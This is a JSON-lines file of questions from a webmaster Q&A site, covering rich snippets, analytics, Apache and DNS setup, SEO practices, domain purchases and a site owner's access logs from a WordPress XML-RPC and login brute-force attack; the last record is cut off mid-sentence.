{"id":"61727","title":"Rich snippet error: \"Price, review or availability needs to be present\" But it is","text":"I'm having problems inserting Rich Snippet code for a product. I literally copied it from some Google page and edited it to my product. The Google Webmaster's Rich Snippet tool gives the error: > In order to generate a preview with rich snippets, either price or review or > availability needs to be present. But it does have the data about price:  So, will Google still be able to find the price given for the product in the snippets? Or is the error real? The code is used: <div itemscope=\"\" itemtype=\"http:\/\/data-vocabulary.org\/Product\"><span itemprop=\"brand\">Ten Cate<\/span> <span itemprop=\"name\">Katoensatijnen dekbedovertrek<\/span><a href=\"http:\/\/reclameblog.com\/wp-content\/uploads\/2014\/04\/satijn.png\"><img class=\"alignleft size-medium wp-image-41880\" alt=\"ten cate katoensatijnen dekbedovertrek\" src=\"http:\/\/reclameblog.com\/wp-content\/uploads\/2014\/04\/satijn-300x199.png\" width=\"300\" height=\"199\" \/><\/a> Beoordeling: <span itemprop=\"rating\" style=\"color: #00ad00;\">4.5<\/span><span itemprop=\"offerDetails\" itemscope=\"\" itemtype=\"http:\/\/data-vocabulary.org\/Offer\">Normale prijs: €49.95 Vandaag voor:<meta itemprop=\"currency\" content=\"EUR\" \/>€<span itemprop=\"price\">24.99<\/span>Aanbieding loopt tot <time itemprop=\"priceValidUntil\" datetime=\"2014-05-19\">19 mei 2014!<\/time><span itemprop=\"availability\">Vandaag nog verkrijgbaar!<\/span><\/span><\/div>"}
{"id":"50174","title":"Why are the custom campaign parameters in Google Analytics so long?","text":"Adding several Google Analytics custom campaign parameters can make URLs very long.* For example, in Google's own examples: http:\/\/www.example.com\/?utm_campaign=spring&utm_medium=referral&utm_source=exampleblog http:\/\/www.example.com\/?utm_campaign=spring&utm_medium=email&utm_source=newsletter1 http:\/\/www.example.com\/?utm_campaign=spring&utm_medium=email&utm_source=newsletter1&utm_content=toplink Are there shorter alternatives that GA will pick up? * In some implementations, this can be bad for user experience, and could even decrease the likelihood of being shared."}
{"id":"65512","title":"Need help with understanding IP blocks","text":"I'm trying to troubleshoot some problems with users being blocked from our website by CloudFlare. We run a Joomla 2.5 installation with RSFirewall. I have the list of IP blocks that CloudFlare uses, but I'm not versed enough with IP block math to figure out whether several of the addresses that are currently showing in the blacklist are actually CF servers. For example, the following IP is in our blacklist: 103.22.201.147 And CloudFlare uses the following block: 103.22.200.0\/22 Based on what I read here it looks like that address is indeed a CloudFlare address and I need to remove it from the blacklist. Can anybody confirm whether I'm understanding it correctly or not? Thanks for your help."}
{"id":"55528","title":"Find the user and date a filter was created in Google Analytics","text":"How do we find out which user created a filter and on what date within Google Analytics? Google search results are sparse on this very specific topic."}
{"id":"55529","title":"Redirect domain.tld to www.domain.tld in Parallels Plesk Panel","text":"I inherited a website which has been set up in Parallels Plesk Panel as `www.domain.tld`. Now the problem is that `domain.tld` shows the default Parallels Plesk page and doesn't redirect to `www`. I've read in many places the solution for the opposite problem but can't find anything for this! Is there a way to correct this? Or do I have to recreate the website?"}
{"id":"59201","title":"How to download database of wordpress from another server?","text":"I am writing a script to take backup of WordPress database through another server If I know ftp and wordpress login details, then how can I download wordpress database from another server. This is what I am thinking: 1. As I know ftp then I can see my database setting in `wp-config.php` . 2. But my db-host is `localhost` so how can I connect to database? I just need a direction to solve my problem."}
{"id":"32097","title":"Google Adwords: What is the difference between automatic pricing and manual pricing?","text":"Do you use the Google adWord automatic pricing (provide the upper limit you would like to spend), or do you manually adjust and set the the bid price = first page bid min. price? According to Google, the automatic pricing will use the lowest bid price already, so the cost of running ads manually can only be greater than the automatic pricing, right?"}
{"id":"19204","title":"Virtual hosting on CentOS","text":"I have a CentOS machine running Apache. I have a few virtual hosts set up and they run just fine. An example of a setup that's working fine is: <VirtualHost 10.10.10.38:80> ServerName site.domain.com DocumentRoot \/var\/www\/html\/site <Directory \/var\/www\/html\/site> Options -Indexes Order deny,allow Deny from all Allow from {IP address list} <\/Directory> ErrorLog \/etc\/httpd\/logs\/site.error_log CustomLog \/etc\/httpd\/logs\/site.access_log common <\/VirtualHost> <VirtualHost 10.10.10.38:443> ServerName site.domain.com DocumentRoot \/var\/www\/html\/site <Directory \/var\/www\/html\/site> Options -Indexes Order deny,allow Deny from all Allow from {IP address list} <\/Directory> ErrorLog \/etc\/httpd\/logs\/site.error_log CustomLog \/etc\/httpd\/logs\/site.access_log common SSLEngine on SSLCertificateFile \/etc\/pki\/tls\/certs\/localhost.crt SSLCertificateKeyFile \/etc\/pki\/tls\/private\/localhost.key <\/VirtualHost> This is in > \/etc\/httpd\/conf\/httpd.conf I have another entry almost exactly like that except that > site.domain.com becomes > site1.domain.com and points to a different folder in \/var\/www\/html\/. I cannot get the browser to locate site1.domain.com. The > site.access_log file is empty. I assume that means that the browser is not able to resolve the DNS. What am I missing out on?"}
{"id":"64683","title":"Google analytics set up with wrong domain","text":"I have recently embedded Google Analytics into a site using the default embed code. <script> (function (i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '\/\/www.google-analytics.com\/analytics.js', 'ga'); ga('create', 'UA-XXXXXXXX-1', 'MYDOMAIN.COM'); ga('send', 'pageview'); <\/script> However I had MYDOMAIN.COM set to an incorrect domain. The views for the site seem very low, however, I can see myself there as a visitor in the real time scanner. What effect would setting the domain incorrectly have had? How does Google use this parameter?"}
{"id":"19206","title":"Dedicated IP address from 3rd Party Services","text":"I'm using hostgator reseller panel with limit to the number of dedicated IPs. I want to use dedicated IP for each account under control panel. Unfortunately hostgator restricts me with an upsell of SSL+IP for 50$. Which i think a bit costly and packed with unnecessary SSL package which i don't want to use. So is it possible to get dedicated IPs from another hosting service or host keeping the files hosted on different server ? or we're restricted to use dedicated IPs from the same host ? So to frame question in this situation, is it possible to buy IP address from 3rd parties or anyone other than your host ?"}
{"id":"30691","title":"How does Wikipedia handle URL's such that \"http:\/\/en.wikipedia.org\/wiki\/TCP\/IP\" is possible?","text":"Notice the slash in \"http:\/\/en.wikipedia.org\/wiki\/TCP\/IP\" How does it not misinterpret TCP as a subfolder?"}
{"id":"22405","title":"Pros and cons of replacing images with canvas drawings in template?","text":"I am going to redevelop a beautiful but heavy theme. I try to make it as light-weight and performant as possible but still eye-catching. In order to minimize the http requests needed to get images and hence save rendering time and bandwidth, I am going to replacing as many images as possible with html5 canvas. So I am wondering what are the pitfalls as well as advantages of this approach."}
{"id":"22404","title":"Google: On Everything : Why does google shuffle\/change images, news, videos section periodically?","text":"Google: On Everything : Why does google shuffle\/change images, news, videos section periodically ON THE SEARCH RESULT PAGE? **And what basis does it shuffle?** Hope you people have observed this, that they shuffle the positions of images news videos"}
{"id":"8677","title":"Recommendations on how to auction a domain name","text":"We've a domain name that's okay, though hardly brilliant, that we no longer need. How would you go about auctioning or selling it? Has someone a recommended site where to put it up? I'm assuming this is fair practice, we had thought we'd a real use for it and we're certainly not squatting the name."}
{"id":"13752","title":"Install PHP5 with Tomcat 7 on Windows?","text":"Can't find anything on this, what are the steps or instructions for installing PHP with Tomcat 7 on Windows?"}
{"id":"46780","title":"What are reasons of latency for a HTTP request to load HTML?","text":"I would like to know what are reasons of latency for a HTTP request to load HTML part of a webpage. I think about: * loading webpage with proxy * not having a good web server (apache vs nginx) * having a bad configuration of web server * having a bad internet connexion (bad ping) Any other ideas?"}
{"id":"4049","title":"Brute force SEO software","text":"Can brute force SEO tools like SENuke help in rankings or somehow get you penalized by the search engines? Can search engines even \"see\" that anonter tool has been used to do the SEO? Is, for example, SENuke worth the money?"}
{"id":"55886","title":"Does using an author's real name (vs just a company name) typically improve the ranking of blogs\/articles?","text":"Is there a general rule of thumb for authorship of company blog posts or articles? Specifically, is there any possibility of hurting the _search ranking_ of a website (or its blog posts) by not attributing them to a named individual? (I.e. just saying: \"- _By CompanyName_ \" instead of \"- _By John Smith_ \".) I read about the ever-increasing importance of \"Google Authorship\" (attributing articles to authors with verified Google+ accounts, ideally with a photo) but I would much rather keep business and personal separate in that regard. As far as I can see, associating an article with a Google+ account seems to increase the CTR (as people are generally more interested in reading an article when they can know what the author looks like) rather than the ranking itself. Is it best-practice to always attribute articles\/blog posts to named individuals, or can I safely continue to attribute authorship to a generic company name, without being concerned that search ranking of these articles could be penalized in some way?"}
{"id":"54145","title":"Static domain to serve cookies indexed by google","text":"I have made a subdomain, `static.example.com` to serve my asset files (images, CSS, etc) from. It shares the same webroot as my main site, `www.example.com`. I don't want it to be indexed due to duplicated content concerns. I need to know 1. how to block Google from crawling this subdomain 2. how to remove any URLs from the SERPs that may have already been crawled"}
{"id":"25754","title":"How can I version-control and deploy a website's static files while preserving timestamps?","text":"I'm using NanoBlogger to generate a website that consists entirely of static files—no PHP or anything similar. I'd like to place the site under version control, which means managing both NanoBlogger's data files and the other non-generated files (stylesheets, images and whatnot) that make up the site with one revision-control system or another. I'd also like to automate deployment of the website from the RCS. What I've discovered is none of the modern revision-control systems (git, Subversion and Mercurial) preserve timestamps on files they manage. This means a deployment script on the server that checks out a fresh copy of the repository and copies the files over to the webserver's public folder will end up resetting the timestamp on every file, even things like images that haven't changed. This defeats any attempt to use caching effectively and ends up wasting users' time and bandwidth. So my question is, **what tools and workflow do people actually use for versioning and deploying static websites?** Specifically, how you get around the timestamping issue? Do you * simply keep a \"permanent\" checkout of the repository on the server which just gets updated before each deployment (arguably a bad practice), * use a \"classic\" RCS like CVS that does preserve timestamps, or * ignore the problem and accept a bit of bandwidth will be wasted? Or is there some completely different kind of system or workflow people use instead? (There's no shortage of information on the mechanics of using revision control with a website, but I've yet to see anyone address the timestamp issue or say much about static websites specifically.)"}
{"id":"43296","title":"Google Plus website not linking","text":"I'm getting below error when trying to link Google Plus page with my site: Check that the line of code was added to your site's homepage and that the modified homepage is live on your site. Then try testing again. I have got correct link set up like below (obviously {pageId} is replaced) but I'm still getting this error. I have got this link across all pages in the sidebar. <a href=\"https:\/\/plus.google.com\/{pageId}\" rel=\"publisher\">Google+<\/a> I got this working on other sites but somehow this site is not linking. Is there a reason why? Other sites also have the Google Plus link on sidebar of every page"}
{"id":"3666","title":"What is the best size to use to display full screen size of an application screenshot?","text":"I want to maximize the size of the screenshot and avoid scroll bar or overflow for the maximum too. What size do you recommend ? I'm using lightbox."}
{"id":"24803","title":"sitemap.xml : shall I put all my URLs including the ones that have \"empty result\" for a dataset?","text":"Here's my problem: on my website, you can click on all the regions, and the new web page is the result of the search of the region. Thus the result may be empty. Shall I include all those \"empty search result\" pages in the `sitemap.xml` or not?"}
{"id":"21834","title":"You don't have permission to access \/index.php on this server","text":"I made a 'login with OpenID' page and I had a error when OpenID provider return to my page: > You don't have permission to access \/index.php on this server. Additionally, > a 404 Not Found error was encountered while trying to use an ErrorDocument > to handle the request. If I remove parameters which are returned by OpenID provider, the page run well. How can I fix this problem? The login page that cause error is: `http:\/\/bryox.com\/login`"}
{"id":"56292","title":"Internal links in Google Webmaster Tools showing unrelated data","text":"In Google Webmaster Tools under _Search Traffic_ --> _Internal Links_ , for some pages it's showing too many internal links. Is there any effect on my site due to these internal links. How these internal links works? For Example:  Under `\/musical-instruments-2` it has \"Top 82 links\" and \"Total links 470\". I observed that it contains unrelated links (other than musical instruments). Why has it linked unrelated data under musical instruments?"}
{"id":"56296","title":"Canonicalization for www\/non-www URLs and IP\/domain on a Windows server","text":"I have checked my website using this SEO tool and the results report 2 issues: > _Test your site for potential URL canonicalization issues. Canonicalization > describes how a site can use slightly different URLs for the same page - for > example: if www.mydomain.com andhttp:\/\/mydomain.com displays to the same > page but do not resolve to the same URL. If this happens, search engines may > be unsure as to which URL is the correct one to index. Learn more about > canonicalization issues._ 1. `www.mydomain.com and mydomain.com should resolve to the same URL, but currently do not.` 2. `Your site's IP xxx.xxx.xx.xxx does not redirect to your site's domain name. This could cause duplicate content problems if a search engine indexes your site under both its IP and domain name. Consider using a 301 re-write rule in your .htaccess file so that your site's IP points to your domain name. Read more about canonical URL issues.` How can I configure my website to solve the 2 issues above? My website uses a Window server (ASP.net). I want to optimize for SEO, but first I must solve this."}
{"id":"23952","title":"Does this SEO practice have a name and is it \"cloaking\"?","text":"So I Google search for a dictionary term, and none of the sites' Google snippets actually defines that term. Instead they are presented in this format:  Here's the actual page it links to from The Free Dictionary. The term is used a lot in a block of text that teases the user into clicking the link, but the page doesn't visibly appear to have this content at all. It entices the user and requires a click through for them to find the actual information they want. What is this called? Is this considered cloaking or is it otherwise a violation of SEO best practices?"}
{"id":"65142","title":"Google Analytics report is showing URL parameters that look like session ids","text":"I am noticing some weird URLs in the Google Analytics content report. The parameters in the urls appears similar to php session ids (not sure though). Just want to make sure it is not something that is caused by any misconfiguartion or such on the site, as the urls doesn't make any sense and the normals urls on the site are quite different. Here are examples of the urls \/index.php?____pgfa=aHR0cDovL3d3dy5hcHBhbmNlLmNvbS8=&s=tshirt \/index.php?q=aHR0cDovL3d3dy5hcHBhbmNlLmNvbS9jYXRlZ29yeS9hbmRyb2lkL2Rlc2lnbi92aWV3cy8= If there was one or two entries like this I would have normally ignored, but I am seeing too many entries like this to be a bit concerned. What is the reason behind this? Thanks."}
{"id":"68821","title":"WordPress XML-RPC attack","text":"Yesterday I suffered a **DDoS attack** on a WordPress site. I had **21,443 hits** with HTTP Status code 404 and a Bandwidth of **711.85 MB**. Also, CPU usage went to 100%. Logs show a lot of this entries: ... 119.71.5.44 - - [03\/Sep\/2014:18:34:57 -0700] \"POST \/xmlrpc.php HTTP\/1.1\" 404 34826 \"-\" \"-\" 197.149.17.195 - - [03\/Sep\/2014:18:35:01 -0700] \"POST \/xmlrpc.php HTTP\/1.0\" 404 34826 \"-\" \"-\" 210.206.226.130 - - [03\/Sep\/2014:18:35:04 -0700] \"POST \/xmlrpc.php HTTP\/1.1\" 404 34826 \"-\" \"-\" ... I'm trying to understand this log. 1. This was only a DDoS attack or they were trying to hack my site? 2. Was I under attack or they used my site to attack others? (all IPs entries are different) 3. What is the best way to stop this? Modify .htaccess file or Add a filter in functions.php * * * **Update: Background information** * I had WordPress 3.9.2. Now, I've updated WordPress to the latest version (4.0). * The site is on a shared hosting (with cPanel X). * The attack started on 02\/Sep\/2014 18:06:57 -0700 and ended 03\/Sep\/2014 21:22:24 -0700 Also, an hour before the attack the log shows this: 82.27.195.149 - - [02\/Sep\/2014:16:50:52 -0700] \"GET \/xmlrpc.php HTTP\/1.1\" 200 42 \"-\" \"Mozilla\/5.0 (Windows NT 5.1; en-US; rv:1.9.1.3) Gecko\/20100101 Firefox\/8.0\" 82.27.195.149 - - [02\/Sep\/2014:16:50:54 -0700] \"GET \/wp-login.php HTTP\/1.1\" 200 2663 \"-\" \"Mozilla\/5.0 (Windows NT 5.1; en-US; rv:1.9.1.3) Gecko\/20100101 Firefox\/8.0\" And two hours after it started I've found this: 184.176.42.181 - - [02\/Sep\/2014:19:58:18 -0700] \"GET \/wp-login.php HTTP\/1.1\" 200 2663 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:18 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:18 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:19 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:19 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:20 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:20 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:20 -0700] \"POST \/wp-login.php HTTP\/1.1\" 200 2843 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" 184.176.42.181 - - [02\/Sep\/2014:19:58:21 -0700] \"GET \/blog\/wp-login.php HTTP\/1.1\" 404 34107 \"-\" \"Mozilla\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/32.0.1667.0 Safari\/537.36\" So, I guess they were trying to hack my account through XML-RPC."}
{"id":"43124","title":"How To: Buy a Domain From a Private Seller","text":"I'm buying a domain name from a private seller, and obviously I don't want to get scammed. What is the appropriate method of buying a domain name from a private seller. Do we go through the domain registrar (godaddy, network solutions), and how do I know the domain is mine? What certifies that I own it?"}
{"id":"2578","title":"How to prevent table borders from disappearing while printing?","text":"I'm just working at a website that is supposed to be printable. One problem I'm running into is that some table borders won't be printed, although they are correctly displayed on screen. I tried both Firefox and Chrome. Both display all table borders on screen, but omit some of the borders when printing. What do I need to do to get them printed?"}
{"id":"52973","title":"Ditch cPanel \/ WHM in favour of manual seup","text":"We currently use cPanel \/ WHM on a reseller account but are looking at getting a dedicated server. My first thought was to duplicate this set up on the dedicated box to allow us to quickly create new accounts. I'll be a managed server so they'll have set up the LAMP stack. I'm curious if I actually need cPanel and WHM. We don't use many of the features from cPanel \/ WHM, just creating accounts and databases, clients do not have FTP access. I'm no sys admin and come from a Windows \/ GUI background but have some knowledge in setting up development servers. **WHM: Creating accounts** I presume this sets up the Apache virtual host, FTP access and DNS settings. I've some knowledge of editing the Apache files to create virtual hosts. Am I correct in thinking as long as the DNS is pointing to the server IP and the virtual host is configured the server can serve the (php) pages? I'm not sure I need per site FTP access as only we will have access so I could have a server wide\/htdocs only access to view all the site. The company who supply the dedicated hosts would also provide the own DNS management tool so I'm not need to cPanel one. **MySQL: Creating users and databases** We use cPanel to create the MySQL users and databases. As it's a dedicated box and I can have root access I think this could be replaced by SQLyog for db management and phpMyAdmin for user management. Do you I need cPanel or can I get by editing a few text files for creating the accounts, then use the MySQL tools for databases? Or am I missing something major with how the sites are configured?"}
{"id":"2571","title":"Who Is Against CSS and JS?","text":"I know there is a group which promotes very basic HTML. They advocate against CSS and JavaScript. Does anyone know the name of this group? Just to be clear this was a website, or a foundation, or a society, or some kind of group. It wasn't a person or a browser maker. They were advocating minimal HTML as sufficent to express web content. They were against CSS and JavaScript on principal that they were extraneous and bloatware. The web pages on this site rendered using whatever built-in styling your browser had for things like H1 and OL tags, which looked like crap compared to what we're all used to. They had a page for \"Friends Of...\" which linked to sites that used very basic HTML markup, but with maybe a dash of basic CSS. The idea was to promote this way of designing pages and to avoid just about any styling or scripting. I found the site when it was picked up in various technical news aggregators, like Digg, Hacker News, DZone, etc. Does anyone recall the group's name or url?"}
{"id":"8966","title":"Comment spammer IP list?","text":"Is there a public list anywhere on the web of IP addresses that have been identified as comment spammers?"}
{"id":"57214","title":"Is my client's domain in \"limbo\"?","text":"About a year ago I created a website for one of my clients. They already had a domain name and hosting through Vistaprint, so we changed the nameservers over to my server as Vistaprint would only let us use pre-made templates. They told my clients that they had to unlock their domain to change the nameservers, so they paid to unlock it, forwarded us all the details, then we logged into `OpenSRS.net` and changed the nameservers accordingly. Unfortunately the domain expired there in November, and has about 10 days left now before it gets released back into the public. They have contacted Vistaprint but there is nothing they can do apparently. Who owns the domain, where is it, and is it in limbo somewhere?"}
{"id":"44688","title":"PHP and Javascript","text":"I am a good C programmer. I have recently studied a bit of JavaScript and I plan on developing my skills by also learning PHP. Can I learn both these language in 3 months and after that build a site of mine like a small social network or something in a month."}
{"id":"3591","title":"How are spambots registering on my website?","text":"I have a forum that's getting a bunch of spam bot registrations. Here's what's happened: * lots of spambots * added static logic question (as a picture), static math question, honeypot field * still lots of spambots * added a built-in CAPTCHA * still lots of spambots * banned a bunch of known spam domain emails like @spam.xxx * spam cut in half, but still lots of spam from spambots on other domains I don't want to block (like gmail, yahoo) I'm really, really baffled at how spambots are still getting through my measures and registering. How is this happening? Here's my registration page: "}
{"id":"17432","title":"Links Pages - Useful or Harmful?","text":"What is the current thinking regarding having a links page on your website? I understand so many outgoing links on a page with little other content will be hellish for that page's page rank, but what about the site in general? I am constantly getting asking to take part in link exchanges and recently adopted a policy of just saying no, should I rethink this?"}
{"id":"5037","title":"Is Use of keyword instead of preposition good?","text":"i would like to know if we write articles using the fixed keyword instead of using the preposition for it good for SEO keyword density?"}
{"id":"3599","title":"High traffic by \"doin' nothing\"","text":"We have set up on a VPS a WordPress blog. But, after we work a while, if we leave the tabs open in our browsers, there is upload traffic, in small chunks but quite often. We thought that it might be the WordPress's AutoSave feature, but we disabled it and the thing still continues. Here you have a small snippet from the log (the real domain URL replaced): [06\/Oct\/2010:12:41:06] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 53692 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:07] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 2925 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:07] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 24279 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:08] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 2301 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:08] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 2269 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 37459 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 6220 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 4140 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 16508 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 5148 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:41:09] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 6268 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:43:03] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 34056 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:43:03] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 42002 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:43:30] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 2381 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable [06\/Oct\/2010:12:43:31] \"CONNECT connect:\/\/fooURL.com:443\/\" 0 8775 \"-\" \"Opera\/9.80 (X11; Linux i686; U; en) Presto\/2.6.30 Version\/10.62\" - \"- -\" \"clean-sites,CONNECT,uncachable It is normal? If not, why? How can we get rid of it?"}
{"id":"60407","title":"Confused: When does Google use Title vs description? Misleading results possible","text":"Search for jamaica tourism on Google. You get a search result with the text **Jamaica Tourism: 578 Things to Do in Jamaica | TripAdvisor**. Nowhere on the displayed page does the phrase **578 Things to Do** appear. Google has chosen to show it in search results even so. It comes from the `<title>` tag of that page. Now take a look at results for the Google search for ebay bidding. One of the first results is for a business called Auction Sniper. The search result includes the text **Auction Sniper is a free ebay sniper...** That text is a misleading trick (Auction Sniper is not a free service) but this time the text comes from description meta tag. Nowhere on the Auction Sniper home page does the phrase \"Auction Sniper is a free service\" appear. How does Google decide when to use the title tag and when to use the description meta tag? Both results seem misleading to me, yet they have been stable for quite some time. Is such a apparently misleading technique considered kosher by Google?"}
{"id":"4436","title":"SEO: adding your company signature with link to all websites you make?","text":"I saw many webdesigner companies adding a small signature on each website they make. Signature could be masked by words like _credits_ , _design by..._ , **but they all contain a direct link to the webdesign company that made the website**. This can be obviously good to drive more traffic to the webdesign company by direct visitors that might click on 'credits'\/'design by...' link. **But what about SEO:** 1. Is it good for Google? (Or is it seen as spamming bad SEO technique) 2. It should increase the webdesign company's website Google PR, shouldn't it?! And in some way push the wbsite up on Google search results? * NOTE: obviously I'm supposing the webdesign company's website is also a site with interesting and decent contents, not just an empty idious site, I know Ggoogle looks 1st for contents, but besides that..."}
{"id":"13320","title":"Registering a domain name for someone else with my billing information","text":"I want to register a domain for someone using my billing information (credit card) but all the contact information are the ones of this person. Once I get the domain, I will transfer the logins of the registrars setting page of the domain to this person, I am concerned about if the person will be able to check the billing information or even use them to purchase other domains\/services. Is there a way to buy a domain name while keeping the billing information not registered in the registrars setting page, or even buy a coupon that the person can use to register the domain name for itself. EDIT: I just found an interesting option on Godaddy : Moving a Domain Name out of Your Account > You can use these instructions to move a domain name from one account with > us to another. Has anyone tried this before whether it just transfers the domain or the billing information too?"}
{"id":"47549","title":"Directing crawlers to content in language per language sub-domain","text":"I have a site with multilingual website with many pages (40M). The site has UGC, and each translation is actually for the titles. Each sub-domain points to the same content with different titles per language. As far as I understand, each sub-domain should be indexed by search engines, meaning they will actually need to crawl 40M x supported-languages. So I thought it might be best to direct each subdomain crawler, to pages that are fully in that language (titles + UGC). Is there a way to do this? Should search engines understand this on their own?"}
{"id":"4438","title":"How does IPv6 and AAAA DNS records affect my visitors?","text":"If I set up a web site and the web server only has IPv6, and my domain uses a AAAA DNS record instead of a A record, how does this affect my visitors? Can only end users that have IPv6 on their client access my web site? if that is the case, is there any work arounds?"}
{"id":"8129","title":"Web hosting options for Ruby on Rails applications","text":"What hosting options exist for Rails applications? The goal of this _community wiki_ question is to get a feel for: * what options are available * advantages\/disadvantages\/cost of each * overall opinion of each option, in the form of votes for each answer Guidelines for answers: * Please provide _one_ option per answer. * In the answer, elaborate on the factual features, advantages, and disadvantages to each option. If possible, include information about costs in relation to traffic (preferred) or hardware. * Answers can be options for Rails-specific hosts, general hosts, and 'rolling your own host'. * If you have utilized a solution on the list and approve of it, show your support by up-voting that solution. If you had a bad experience with that method, show your dissatisfaction by down-voting that solution. * Please keep the answers factual and without bias in the editing process. Keep subjective thoughts to comments\/voting on answers. There will not be an 'accepted answer' to this question. Many web hosts cannot accommodate Rails apps, and others do so weakly. I've seen this question tossed around and discussed a good bit and I think it's time we had a definitive reference maintained by a community of webmasters."}
{"id":"8304","title":"Recomendation of Ruby on Rails hosting","text":"> **Duplicate:** > Web hosting options for Ruby on Rails applications Hi, We're looking for a good Ruby on Rails hosting. Basically we need the following features: * Unlimited disk space and monthly bandwidth * Unlimited domains * Full SSH access * Support various versions of Rails (2.3.8 and 3.0 for ex.) * Passenger and capistrano deployment support * EXCELLENT client support: We're new at Ruby on Rails, so currently we have several problems when deploying rails app. Our current hosting (RailsPlayground) offers awesome support, but we are looking for a new one because of the disk space and bandwidth limits. * A nice panel (cPanel or similar). * Basically we need to focus on application development and not worry too much about deployment and related stuff. * Fair price We need a truly Ruby on Rails hosting, with people that have expertise in deploying and hosting Rails apps., not just a normal hosting that someday decided to install ruby and rails just to support it, if you know what I mean. We don't need high performance, we need to host several rails applications. If one application is getting lots of traffic and needs better performance, then we'll move it to a VPS or some high-scalable and performance 